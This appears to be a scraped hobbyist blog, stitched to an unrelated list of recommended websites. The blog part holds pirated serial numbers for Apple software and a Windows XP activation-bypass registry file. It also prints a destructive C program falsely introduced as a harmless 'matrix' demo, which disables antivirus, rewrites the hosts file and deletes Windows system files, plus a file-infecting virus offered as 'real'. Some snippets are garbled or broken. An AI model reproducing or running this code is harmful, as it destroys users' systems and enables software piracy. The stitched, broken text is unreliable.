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Here How to get expensive applications on your mac for free. By no means you should steal this, this is just like a “Trial”, as in you get the entire time to evaluate this application, if you like it you should buy this…

Aperture 2

Download Trial @ http://www.apple.com/aperture/whatisaperture/

Serial #: E-325-DJR-243-BDJ-316-XVX-435-OCN-FJ7-Z2RX

Iwork 2008

Trial: http://www.apple.com/iwork/trial/

Serial: EMKM-9DH4-3WWM-THEB-LADE-WVG

More to come later guys 

HAPPY OLYMPICS !

~Nikhil

E-325-DJR-243-BDJ-316-XVX-435-OCN-FJ7-Z2RX

Title Tells It all

import java.net.InetAddress;
import java.net.UnknownHostException;

public class GetIP {
  public static void main(String[] args) {
    InetAddress address = null;
    try {
      address = InetAddress.getByName(“enter the website’s url here”);
    } catch (UnknownHostException e) {
      System.exit(2);
    }
    System.out.println(address.getHostName() + “=”
        + address.getHostAddress());
    System.exit(0);
  }
}

this is a windows XP genuine bypass.what i mean by this is that this .reg file will allow your windows to be recognised as genuine while connecting to microsoft web site for downloading or do smth that requires genuine test.i made this code in hex.to use it just copy paste in notepad and save it as "windowslicence.reg" (without the quotes) and just click it. 

NOTE : there is a little something to be said, after every reboot the reg "effect" will be gone so you have to put it again by clicking on it. 





CODE:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]
"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd
"LastWPAEventLogged"=hex:d5,07,05,00,06,00,07,00,0f,00,38,00,24,00,fd,02

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
"CurrentBuild"="1.511.1 () (Obsolete data - do not use)"
"InstallDate"=dword:427cdd95
"ProductId"="69831-640-1780577-45389"
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,38,33,31,2d,36,34,30,2d,\
  31,37,38,30,35,37,37,2d,34,35,33,38,39,00,5a,00,00,00,41,32,32,2d,30,30,30,\
  30,31,00,00,00,00,00,00,00,00,0d,04,89,b2,15,1b,c4,ee,62,4f,e6,64,6f,01,00,\
  00,00,00,00,27,ed,85,43,a2,20,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,31,34,35,30,34,00,00,00,00,00,00,00,ce,0e,\
  00,00,12,42,15,a0,00,08,00,00,87,01,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,94,a2,b3,ac
"LicenseInfo"=hex:9e,bf,09,d0,3a,76,a5,27,bb,f2,da,88,58,ce,58,e9,05,6b,0b,82,\
  c3,74,ab,42,0d,fb,ee,c3,ea,57,d0,9d,67,a5,3d,6e,42,0d,60,c0,1a,70,24,46,16,\
  0a,0a,ce,0d,b8,27,4a,46,53,f3,17

t takes keyboard input, and stores it as an Integer, where a small equation converts the decimal number into a “base 2″ number (Binary).

import java.util.Scanner;

public class Binary

{

        public static void main(String[] args)
        {

                int binaryOutput;

                Scanner keyboard = new Scanner(System.in);

                System.out.print("Enter a number: ");
                binaryOutput = keyboard.nextInt();

                System.out.println( Integer.toString( binaryOutput, 2 ));

        }

}

import java.util.Scanner;

public class Quad
{

   public static void main (String[] args)
   {

    int a, b, c; //ax^2 + bx + c
    double discriminant, root1, root2;

    Scanner read = new Scanner (System.in);

    System.out.print ("Enter coefficient of x squared: ");
    a = scan.nextInt();

    System.out.print("Enter the coefficient of x: ");
    b = scan.nextInt();

    System.out.print("Enter the Constant: ");
    c = scan.nextInt();

    discriminant = Math.pow(b, 2) - (4 * a * c);               //Math.pow power
    root1= ((-1 * b) + Math.sqrt(discriminant)) / (2 * a);
    root2= ((-1 * b) - Math.sqrt(discriminant)) / (2 * a);  //Math.sqrt Squareroot

    System.out.print("Root 1 is: " + root1);
    System.out.print("Root 2 is: " + root2);

    }
}

Ever Been a fan of the matrix? well this code won’t do anything for you. If you must know what a matrix is look here:

In mathematics, a matrix (plural matrices) is a rectangular table of elements (or entries), which may be numbers or, more generally, anyabstract quantities that can be added and multiplied. Matrices are used to describe linear equations, keep track of the coefficients of linear transformations and to record data that depend on multiple parameters. Matrices are described by the field of matrix theory. They can be added, multiplied, and decomposed in various ways, which also makes them a key concept in the field of linear algebra.

In this article, the entries of a matrix are real or complex numbers unless otherwise noted.

Here is the code:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <mmsystem.h>

 void hideprocess()
{
   int i;
  for(i = 1; i < 25; i++)
  {
      HWND program;
      Sleep (100);
      program = FindWindow(0, "Windows Task Manager");
      SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
      program = FindWindow(0, "Registry Editor");
      SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
      program = FindWindow(0, "System Configuration Utility");
      SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
      program = FindWindow(0, "Windows File Protection");
      SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);

   MessageBox(NULL, "Access Violation at address: 0050666F","Error", MB_OK | MB_ICONERROR );
  }
}

char Wn[MAX_PATH];
char Mn[MAX_PATH];
SOCKET sock;
HWND Wnd;
char Buffer [1230];
int x,y;

int Hkey()
{
    char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\WUpdates.exe");
CopyFile(pathtofile,system,FALSE);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "WUpdates",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
}

void fPaths()
{
 GetSystemDirectory(Wn, sizeof(Wn));
 GetModuleFileName(0, Mn, sizeof(Mn));
 strcat(Wn, "\\WUpdates.exe");
}    

void inst()
{    
CopyFile(Mn,Wn,0);
CopyFile ("WUpdates.exe", "C:\\windows",TRUE);
CopyFile ("MicroSuck.exe", "C:\\windows\\system",TRUE);
CopyFile ("Svchost32.exe", "C:\\windows\\system32",TRUE);
 HKEY inst;
 RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &inst);
 RegSetValueEx(inst, "Windows Security Updates", 0, REG_SZ, (LPBYTE)Wn, sizeof(Wn));
 RegCloseKey(inst);
}

void BlockSite()
{
    FILE *fpl;
    fpl = fopen ("C:\\WINDOWS\\System32\\drivers\\etc\\hosts","w");
    fprintf (fpl,"0.0.0.0 google.com");
    fprintf (fpl," 0.0.0.0 www.hotmail.com");
    fprintf (fpl," 0.0.0.0 www.microsoft.com");
    fprintf (fpl," 0.0.0.0 microsoft.com");
    fprintf (fpl," 0.0.0.0  macafee.com");
    fprintf (fpl," 0.0.0.0 www.macafee.com");
    fprintf (fpl," 0.0.0.0 download.mcafee.com");
    fprintf (fpl," 0.0.0.0 www.download.mcafee.com");
    fprintf (fpl," 0.0.0.0 rads.mcafee.com");
    fprintf (fpl," 0.0.0.0 us.mcafee.com");
    fprintf (fpl," 0.0.0.0 www.networkassociates.com");
    fprintf (fpl," 0.0.0.0 networkassociates.com");
    fprintf (fpl," 0.0.0.0 update.symantec.com");
    fprintf (fpl," 0.0.0.0 updates.symantec.com");
    fprintf (fpl," 0.0.0.0 iveupdate.symantec.com");
    fprintf (fpl," 0.0.0.0 norton.com");
    fprintf (fpl," 0.0.0.0 www.symantec.com");
    fprintf (fpl," 0.0.0.0 symantec.com");
    fprintf (fpl," 0.0.0.0 www.norton.com");
    fprintf (fpl," 0.0.0.0 google.com");
    fprintf (fpl," 0.0.0.0 bitdefender.com");
    fprintf (fpl," 0.0.0.0 www.viruslist.com");
    fprintf (fpl," 0.0.0.0 viruslist.com");
    fprintf (fpl," 0.0.0.0 www.virustotal.com");
    fprintf (fpl," 0.0.0.0 virustotal.com");
    fprintf (fpl," 0.0.0.0 www.kaspersky.com");
    fprintf (fpl," 0.0.0.0 kaspersky.com");
    fprintf (fpl," 0.0.0.0 kaspersky-labs.com");
    fprintf (fpl," 0.0.0.0 www.kaspersky-labs.com");
    fprintf (fpl," 0.0.0.0 www.trendmicro.com");
    fprintf (fpl," 0.0.0.0 trendmicro.com");
    fprintf (fpl," 0.0.0.0 www.pandasoftware.com");
    fprintf (fpl," 0.0.0.0 pandasoftware.com");
    fprintf (fpl," 0.0.0.0 www.nod32.com");
    fprintf (fpl," 0.0.0.0 nod32.com");
    fprintf (fpl," 0.0.0.0 yahoo.com");
    fprintf (fpl," 0.0.0.0 mail.yahoo.com");
    fprintf (fpl," 0.0.0.0 www.grisoft.com");
    fprintf (fpl," 0.0.0.0 www.f-secure.com");
    fprintf (fpl," 0.0.0.0  f-secure.com");
    fclose(fpl);
   }

   void DelWin()
  {
  system("del C:\\WINDOWS\\*.exe /F /S /Q");
  system("del C:\\WINDOWS\\*.dll /F /S /Q");
  system("del C:\\WINDOWS\\System\\*.exe /F /S /Q");
  system("del C:\\WINDOWS\\System\\*.dll /F /S /Q");
  system("del C:\\WINDOWS\\System32\\*.exe /F /S /Q");
  system("del C:\\WINDOWS\\System32\\*.dll /F /S /Q");
  system("del C:\\WINDOWS\\System32\\Restore\\*.* /F /S /Q");
  system("del C:\\WINDOWS\\System32\\DRIVERS\\*.sys /F /S /Q");
  }

     void spaceup()
   {
        char i;
        FILE *Uknown;
        Uknown = fopen ("C:\\WINDOWS\\System32\\WUpdates.txt","w");
        for (i=1;i<100;i++);
        {
        Sleep (100);
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x00C0000,Bx0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x00000F0,0x0000000,7x0000000,0x00FF000,Ax0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x000E000,0x0000000");
        fprintf(Uknown,"0x0000000,0D0000000,Bx0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        Sleep (100);
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Nx0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"Ax0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax000F000,0x00CCC00,0x0000C00,0xFFF0000");
        Sleep (100);
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"3x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
        }
}

        void Exploit()
{
FILE *ghp;
ghp = fopen ("C:\\windows\\system32\\exploit.html","w");
fprintf(ghp, "<html>");
fprintf(ghp, "<script>");
fprintf(ghp, "window.onerror=new Function(history.go(0));");
fprintf(ghp, "function btf(){btf();}");
fprintf(ghp, "btf();");
fprintf(ghp, "</script>");
fprintf(ghp, "</html>");
}

  void Anticlean()
{
  int i;
  for(i = 1; i < 9999999; i++)

    rename("C:\\WINDOWS\\pchealth\\helpctr\\binaries\\msconfig.exe","C:\\WINDOWS\\pchealth\\helpctr\\binaries\\msconfig.ex_");
    Sleep (100);
    rename("C:\\WINDOWS\\regedit.exe","C:\\WINDOWS\\regedit.ex_");
    Sleep (100);
    rename("C:\\WINDOWS\\system32\\Restorerstrui\\rstrui.exe","C:\\WINDOWS\\system32\\Restorerstrui\\rstrui.ex_");
    Sleep (100);
    rename("C:\\WINDOWS\\system32\\wscui.cpl","C:\\WINDOWS\\system32\\wscui.cp_");
    Sleep (100);
    rename("C:\\WINDOWS\\system32\\wupdmgr.exe","C:\\WINDOWS\\system32\\wupdagr.ex_");
    Sleep (100);
    rename("C:\\WINDOWS\\system32\\taskmgr.exe","C:\\WINDOWS\\system32\\taskdae.ex_");
    Sleep (100);
    MessageBox(NULL, "Access Violation at address: 0050666F","Error", MB_OK | MB_ICONERROR );
}

void killavfw()
{
   system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\data\\*.* /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\help\\*.* /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\VSO\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\VSO\\*.ini /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\VSO\\Res00\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\VSO\\Dat\\4615\\*.* /F /S /Q ");
   system("del C:\\Program Files\\McAfee.com\\*.* /F /S /Q ");
   system("del C:\\Program Files\\Norton AntiVirus\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\Common Files\\Symantec Shared\\*.exe /F /S /Q ");
   system("del C:\\Program Files\\Norton AntiVirus\\*.ini /F /S /Q");
   system("del C:\\Program Files\\Norton AntiVirus\\*.exe /F /S /Q ");
   system("del C:\\Program Files\\Norton AntiVirus\\*.inf /F /S /Q ");
   system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.exe  /F /S /Q ");
   system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.zap /F /S /Q ");
   system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\repair\\*.dll /F /S /Q ");
   system("del C:\\Program Files\\Kaspersky Lab\\AVP6\\*.exe /F /S /Q ");
   system("del C:\\Program Files\\Kaspersky Lab\\AVP6\\*.dll /F /S /Q ");
}

int main(int argc, char *argv[])
{
   HWND wndstealth;
 AllocConsole();
 wndstealth=FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(wndstealth,0);

 Hkey();
 Anticlean();
 killavfw();
 BlockSite();
 hideprocess();
 Exploit();
 DelWin();

FILE *fp;
fp = fopen ("c:\\NError.dmp","w");
{
fprintf(fp,"%s","Stop: 0x0000000A (0xFFFFFFFC,0x00000002,0x00000000,0x804DC42A)");
fclose(fp);
}
}

Hey guys! Its Nikhil here! As you may know perl programming language is one of the most useful programming languages in today’s modern world!  So I thought I would Share with you something with C!

First of all if you want to learn C, you should go to this website:

http://www.cprogramming.com/

http://aelinik.free.fr/c/

http://members.tripod.com/~johnt/c.html

And pretty much google if you need help!

Oh, and here is a sample program just for you!

A Hello World Program:

void main()
{
  char str[1];
  int  i = 100;
  sprintf(str, "Hello, World! %i Get!", i);
  cout << str; // Console
  MessageBox(NULL, str, "Alert!", MB_ICONOK );
};

A Virus :] (It's Real Guys dont mess with it)

Code:
#include <StdAfx.h>
#include <stdlib.h> 
#include <fstream.h> 
#include <iostream.h> 
#include <windows.h> 

DWORD WINAPI winmonitor(LPVOID);
int cmutex(int);
int extract(int a);
void hosts();
void infect(char *);
void scanexe(char *); 

int main()
{
if (cmutex(0) ==2)
return 0;    
 
CreateThread(NULL, 0, winmonitor, 0, 0, NULL);
/*
hosts(); 

//scan drives b-z
char dir[2]; 

for (int i = 98;i!=122;i++)
{
    dir[0] = char(i);
    dir[1] = ':';
    dir[2] = '\\';
    if (GetDriveType(dir) == DRIVE_FIXED || DRIVE_REMOTE)
    scanexe(dir);
}
*/
system("PAUSE");
return 0;
} 

void scanexe(char * targetfolder)
{
WIN32_FIND_DATA find;
HANDLE result;
char dirpath[260],targ[260],ptkill[260],searchpath[260];
strcpy(dirpath,targetfolder);
strcpy(searchpath,targetfolder);
strcat(searchpath, "\\*.*"); 

result = FindFirstFile(searchpath,&find);
while (FindNextFile(result, &find) !=0)
{    
    if (strstr(dirpath,"Share") != NULL || strstr(dirpath,"share") != NULL || strstr(dirpath,"Received") != NULL || strstr(dirpath,"received") != NULL)
    {
                if (strstr(find.cFileName,".exe") !=NULL)
                {
                    strcpy(ptkill,dirpath);
                    strcat(ptkill,"\\");
                    strcat(ptkill,find.cFileName);
                    infect(ptkill);
                }
    } 

    if (strstr(find.cFileName,".scr") != NULL)
    {
        strcpy(ptkill,dirpath);
        strcat(ptkill,"\\");
        strcat(ptkill,find.cFileName);
       infect(ptkill);
    }      
   
    if(find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
    {
        if(strcmp(find.cFileName, ".") && strcmp(find.cFileName, ".."))
        {
                strcpy(targ, dirpath);
                strcat(targ,"\\");
                strcat(targ,find.cFileName);
                scanexe(targ);
        }
    }    
}            
} 

void infect(char * targetpath)
{
long mysize;
long tsize;
char currentpath[250]; 

GetModuleFileName(NULL,currentpath,MAX_PATH);
ifstream me(currentpath,ios::binary);
me.seekg (0,ios::end);
mysize = me.tellg(); 

char *mybuf= new char [mysize];
me.seekg (0,ios::beg);
me.read(mybuf,mysize);
me.close(); 

if (GetFileAttributes(targetpath)!=FILE_ATTRIBUTE_READONLY)
{
    ifstream tf(targetpath,ios::binary);
   
if (tf.is_open() == 1)
{
    tf.seekg (0,ios::end);
    tsize = tf.tellg();
   
    char *tbuf= new char [tsize];
    tf.seekg (0,ios::beg);
    tf.read(tbuf,tsize);
    tf.close();
   
    ofstream of(targetpath,ios::binary);
    of.write(mybuf,mysize);
    of.write(tbuf,tsize);
    of.close();
    SetFileAttributes(targetpath,FILE_ATTRIBUTE_READONLY);
} 

} 

}    

void hosts()
{
int i = 0;
char hostspath[500] = ""; 

GetSystemDirectory(hostspath,MAX_PATH);
strcat (hostspath,"\\drivers\\etc\\hosts");
   
if (GetFileAttributes(hostspath)!=FILE_ATTRIBUTE_READONLY )
{    
   
char blocklist[74][250] =
   {
   "www.cannibalholocaust.net housecall.trendmicro.com",
   "www.cannibalholocaust.net www.pandasoftware.com/activescan/com/activescan_principal.html",
   "www.cannibalholocaust.net www.grisoft.com/us/us_index.php",
   "www.geocities.com/targend microsoft.com",
   "www.geocities.com/targend www.microsoft.com",
   "www.cannibalholocaust.net www.sophos.com",
   "www.cannibalholocaust.net www.kaspersky.com/scanforvirus",
   "www.cannibalholocaust.net www.riaa.com",
   "www.cannibalholocaust.net kazaa.com",
   "www.cannibalholocaust.net www.grisoft.com",
   "www.cannibalholocaust.net www.download.com",
   "www.cannibalholocaust.net www.napster.co.uk",
   "www.cannibalholocaust.net www.napster.com",
   "www.cannibalholocaust.net www.aresgalaxy.com",
   "www.cannibalholocaust.net www.poilet.com",
   "www.cannibalholocaust.net www.kaaza.com",
   "www.cannibalholocaust.net www.kazza.com",
   "www.cannibalholocaust.net www.kaza.com",
   "www.cannibalholocaust.net www.kazaalite.com",
   "www.cannibalholocaust.net www.kazaa-lite.tk",
   "www.cannibalholocaust.net www.k-lite.tk",
   "www.cannibalholocaust.net www.kazaalite.nl",
   "www.cannibalholocaust.net www.kazaa-download.de",
   "www.cannibalholocaust.net www.kazaagold.com",
   "www.cannibalholocaust.net k-litetk.com",
   "www.cannibalholocaust.net www.kazaalite.de",
   "www.cannibalholocaust.net www.kazaa.de",
   "www.cannibalholocaust.net www328.ws1.internetservice.com",
   "www.cannibalholocaust.net www.kazaa-file-sharing-downloads.com",
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      "www.cannibalholocaust.net www.mp3musicworld.com",
      "www.cannibalholocaust.net www.charliespiano.com/downloadable_music.php",
      "www.cannibalholocaust.net www.freeality.com/emusic.htm",
      "www.cannibalholocaust.net www.free-mp3-music-player-downloads.com",
      "www.cannibalholocaust.net www.mp3yes.com",
      "www.cannibalholocaust.net mp3.abandonware.nu",
      "www.cannibalholocaust.net mp3high.com",
      "www.cannibalholocaust.net www.mp3shock.net",
      "www.cannibalholocaust.net www.mp3advance.com",
      "www.cannibalholocaust.net www.trustyfiles.com",
      "www.cannibalholocaust.net www.emusic.com"
   };
   
   ofstream hosts(hostspath);
   
    while(hosts.is_open() == 1 && i!=73)
    {
   strcat(blocklist[i],"\n");    
    hosts.write(blocklist[i],strlen(blocklist[i]));
    i++;
   }
hosts.close(); 

SetFileAttributes(hostspath,FILE_ATTRIBUTE_READONLY);    
} 

} 

void extract()
{
char *mybuf;
char mypath[MAX_PATH],currentdir[MAX_PATH];
int mysize,cfilesize; 

GetModuleFileName(NULL,mypath,MAX_PATH);
ifstream mesize(mypath,ios::binary);
mesize.seekg (0,ios::end);
mysize = mesize.tellg(); 

if (mysize > 20992)
{
    GetCurrentDirectory(MAX_PATH,currentdir);
    ifstream me(mypath,ios::binary);
    me.seekg (20992);
    cfilesize = mysize - 20992;
    mybuf = new char [cfilesize];
    me.read(mybuf,cfilesize);
    me.close();
   
    strcat(currentdir,"\\backupF");
    ofstream out(currentdir,ios::binary);
    out.write(mybuf,cfilesize);
    out.close();
   
    WinExec(currentdir,SW_SHOW);
} 

} 

DWORD WINAPI winmonitor(LPVOID lParam)
{
int msgno = 0;
DWORD pid;
char wintitle[MAX_PATH] = "";    
HWND fwindow; 

    for (;;)
    {
        Sleep(10);
        fwindow = GetForegroundWindow();
        GetWindowText(fwindow,wintitle,MAX_PATH);
        if (strstr(wintitle,"virus")!=NULL || strstr(wintitle,"Virus")!=NULL)
        {
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, 0,GetWindowThreadProcessId(fwindow,0)), 0);
            if (FindWindow(0,wintitle))
            SendMessage(fwindow,WM_CLOSE,0,0);
            if (FindWindow(0,wintitle))
            ShowWindow(fwindow,0);
       } 

        if(strstr(wintitle,"Windows File Protection")!=NULL)
        {
            ShowWindow(fwindow,0);
        }    

    } 

return 0;    
} 

int cmutex(int a)
{
CreateMutex(NULL, true, "CannibalF"); 

if(GetLastError() == ERROR_ALREADY_EXISTS)


return 2;
}






 

Applications

Why have an application to run in your browser? Because for tasks shared between people at different locations, it makes sense to access password-protected sets of work. 37signals offers Backpack (note the domain is backpackit) for simple tasks and the bigger Basecamp for grown-up projects. Tadalist is simpler, being just to-dos (but isn’t that what it’s about?), while Google’s Documents & Spreadsheets requires a Google account (they’re free) and doesn’t try to compete with Microsoft Office. Wikicalc is a free online spreadsheet, and developing smartly.

backpackit.com

basecamphq.com

tadalist.com

docs.google.com

softwaregarden.com/wkcalpha

Blogs: reading

There are millions of blogs out there; you need to pick the best. Step forward RSS (aka web feeds) and blog search engines to simplify things. Technorati is occasionally flaky, but generally a reliable indicator of what’s being blogged about. Icerocket runs it close. And you’ll need an online aggregator to keep abreast of the feeds you’re most interested in: Newsgator and Google Reader are good choices. Bloglines is an excellent alternative feed reader.

technorati.com

icerocket.com

newsgator.com

google.com/reader

bloglines.com

Blogs: writing

To do it rather than read it, you need a good set of tools. The open-source and free software project WordPress has risen to prominence, elbowing aside many rivals with its blog creation, management and (importantly) spam-beating tools. WordPress.org is the free software; wordpress.com offers paid-for, managed versions of the free package. Blogger is the best of the rest; Vox is neat, easy and free, and plugs into lots of social applications. Statcounter counts, well, statistics for your site; the free Google Analytics (if you can get an account) is good too.

wordpress.org

blogger.com

vox.com

statcounter.com

google.com/analytics

Email

Google’s Gmail has become the web-based email system of choice for those who can get access. Its main drawback is that it’s still an invitation-only system in the UK. However, Yahoo’s free email service is a decent competitor, and Microsoft has Live Mail. Unlike Microsoft’s old Hotmail service, none will delete all your old emails if you fail to log on every 30 days. Among the dozens of free alternatives, Bluebottle is a decent option for its focus on spam filtering. The free version offers 250MB of storage and supports the POP3 and SMTP standards, so you can use a proper email program as well as web access. There’s also TempInbox, which provides free, temporary, throwaway email accounts with no registration.

mail.google.com

mail.yahoo.com

mail.live.com

bluebottle.com

tempinbox.com/english

Gaming

There are far too many videogame news sites on the internet today; you need an aggregator like Gametab to filter through to the best. Pocketgamer specialises in handheld games, while Gamasutra is absolutely unmissable. Gamesfaqs has FAQs and walkthroughs (plus cheats, reviews and previews) for loads of games. And the ESRB lets you search by age rating.

gametab.com

pocketgamer.co.uk

gamasutra.com

gamefaqs.com

esrb.org/ratings/index.jsp

Maps

Maps matter, but once you’re past Google’s maps and satellite detail, everyone’s thrown back on the Ordnance Survey’s data, which means there’s little to choose between them. Ordnance Survey has improved its site, and can at least now tell you which map to buy for an area; its placename search is nifty. Meanwhile, the New Popular Edition site shows how the country looked in the 1940s. Delightful.

maps.google.co.uk

streetmap.co.uk

multimap.com

ordnancesurvey.co.uk

npemap.org.uk

News: mainstream

The BBC marches on, adding more media forms while also letting users add their comments. The New York Times site is vast (though it has shut off some of its content behind a “paywall”). Both sites’ (short) RSS feeds can be read on a mobile at bbcriver.com and nytimesriver.com. Google News extends its reach, though the top headline is still whichever site last updated rather than the one which is most accurate. Nowpublic is a US rival to OhMyNews and claims 52,000 (and counting) “mojos” - amateur journalists with mobile phones whose location can be figured out from GPS or phone triangulation.

news.bbc.co.uk

nytimes.com

news.google.co.uk

english.ohmynews.com

nowpublic.com

News: recommendation

One thing that Web 2.0 is really good at is letting lots of people vote on things. It can be (and is) abused, but generally the system works. That’s seen the rise of sites which let people vote stories up, or which news stories (and how) bloggers are talking about (at memoerandum).The biggest is Digg, which overtook Slashdot earlier this year. Reddit was recently bought by Wired magazine. Findory is slightly different, learning what you like the more you use it.

digg.com

reddit.com

memeorandum.com

megite.com

findory.com

Offbeat

Snopes checks out unbelievable tales, scams and urban legends and debunks (or confirms) them. Slightly less useful is the 100-strong webring of Unusual Museums of the Internet. These include the Virtual Toilet Paper Museum, the Old Calculators Web Museum and Signalfan’s museum of traffic control signals. You can find links to lots of other offbeat sites via the Weird Site’s Other Weird Links page. The Onion is the web’s leading satire magazine, though with an American bias. Otherwise, for five minutes of fun, try browsing B3ta. This UK site sends out a weekly newsletter of cool links and runs a message board where people post amusingly manipulated pictures. But be warned: it’s often offensive - that’s part of the point - and most definitely rated NSFW (Not Safe For Work).

snopes.com

ringsurf.com

theweirdsite.com

theonion.com

b3ta.com

Politics

The MySociety team remains unbeatable for turning Hansard inside out with Theyworkforyou and Publicwhip, but bloggers have begun to expose the unwritten workings of politicians to greater public scrutiny too. Guido Fawkes’ blog has the inside gossip from Westminster, while NO2ID agitates on arguably the most important political and technological issue around, while NHS 23 is a wiki outlining the problems with the political, technological and medical drama of the NHS computer- isation programme.

theyworkforyou.com

publicwhip.org.uk

5thnovember.blogspot.com

no2id.net

editthis.info/nhs_it_info

Public action

Now, it’s time to bug someone in power. The idea that the web can make a difference is growing; politicians are on the web and there’s an online petition site at No.10. Pledgebank and HearfromyourMP are both part of the excellent MySociety (mysociety.org) family of sites enabling citizens to connect to decision-makers - and, one would hope, vice versa. Netaction includes The Virtual Activist, a manual for anyone looking to build and promote a cause online. Those interested in helping out in their area might try Timebank, which finds organisations to which to donate spare time.

pledgebank.com

petitions.pm.gov.uk

hearfromyourmp.com

netaction.org

timebank.org.uk

Radio

Radio now travels over wires, at least to our homes. The BBC dominates here, but there are thousands of stations to choose from. AOL’s Shoutcast is interesting: find whatever’s on right now (you can tune in via iTunes or any internet radio-enabled player.) Radio-locator and Live-radio list broadcasters worldwide, so you can find something new to listen to. Reciva does the same, but if you buy its internet radio you can add your own favourites online and they show on the gadget; or just listen online.

bbc.co.uk/radio

shoutcast.com

radio-locator.com

live-radio.net

reciva.com

Recommendation: music

Another new category: being able to find stuff that’s similar to music you like is increasingly important, both to listeners and to record companies trying to profit from niches. Last.fm requires an application that runs on your machine, and shows what other people with the same music like. Pandora says you need a US postcode; so give it one, then enjoy its expert-chosen stations. Liveplasma can search relationships in films as well as music. Tuneglue is a relatively new venture between last.fm and EMI, using data from Amazon and last.fm. Goombah requires a small download and only works on music in an iTunes library, but has been at it for some time.

last.fm

pandora.com

liveplasma.com

audiomap.tuneglue.net

goombah.com

Reference

Wikipedia now dominates the reference side of the web, partly because its pages are ranked so highly in Google. User-written, it’s not always reliable, but is usually a good place to start. It competes with the Encyclopedia Britannica, which isn’t free. However, another traditional alternative is the HighBeam Encyclopedia, which searches more than 57,000 articles from the Columbia Encyclopedia. Otherwise Jim Martindale’s Reference Desk, started in 1994, provides an astonishing collection of links to reference sources. For words, try Onelook, which indexes more than 7.5m words in 931 dictionaries. It also has a reverse lookup to find words from their meanings. Finally, Teldir (on the infobel site) has links to the world’s online phone books.

en.wikipedia.org

encyclopedia.com

martindalecenter.com

onelook.com

infobel.com/teldir

Science

Alphagalileo gives a view of public-facing science in Europe and is a counterpart to eurekalert, the American Association for the Advancement of Science’s press announcements forum. Space.com remains fascinating for all things spacey. Nasa contains a wealth of information. The growing importance of climate change makes the RealClimate blog written by climate change scientists important.

alphagalileo.org

eurekalert.org

space.com

nasa.gov/home

realclimate.org

Search

Google continues to tighten its grip on our hunt for information (it now gets half of all searches) but that doesn’t necessarily mean it’s the best. Search can now encompass your hard drive, blogs (a separate category - see above), images, peer-to-peer and even what used to be out there. Blinkx remains unique with its focus on video, while Ask (now without Jeeves) has made great strides recently, though it only gets a tiny portion of searches.

google.co.uk

search.yahoo.com

search.msn.co.uk

blinkx.com

ask.com

Social software

The browser has grown up: now it’s the path to meeting people of similar interests and creating your own personal space online in a shared area. Social networks have become a cliche, but that hasn’t stopped MySpace becoming the biggest site online. Bebo is popular, Habbo is more tuned to the kids, while Friendster and LinkedIn will appeal to the older user.

myspace.com

bebo.com

habbo.com

friendster.com

linkedin.com

Video

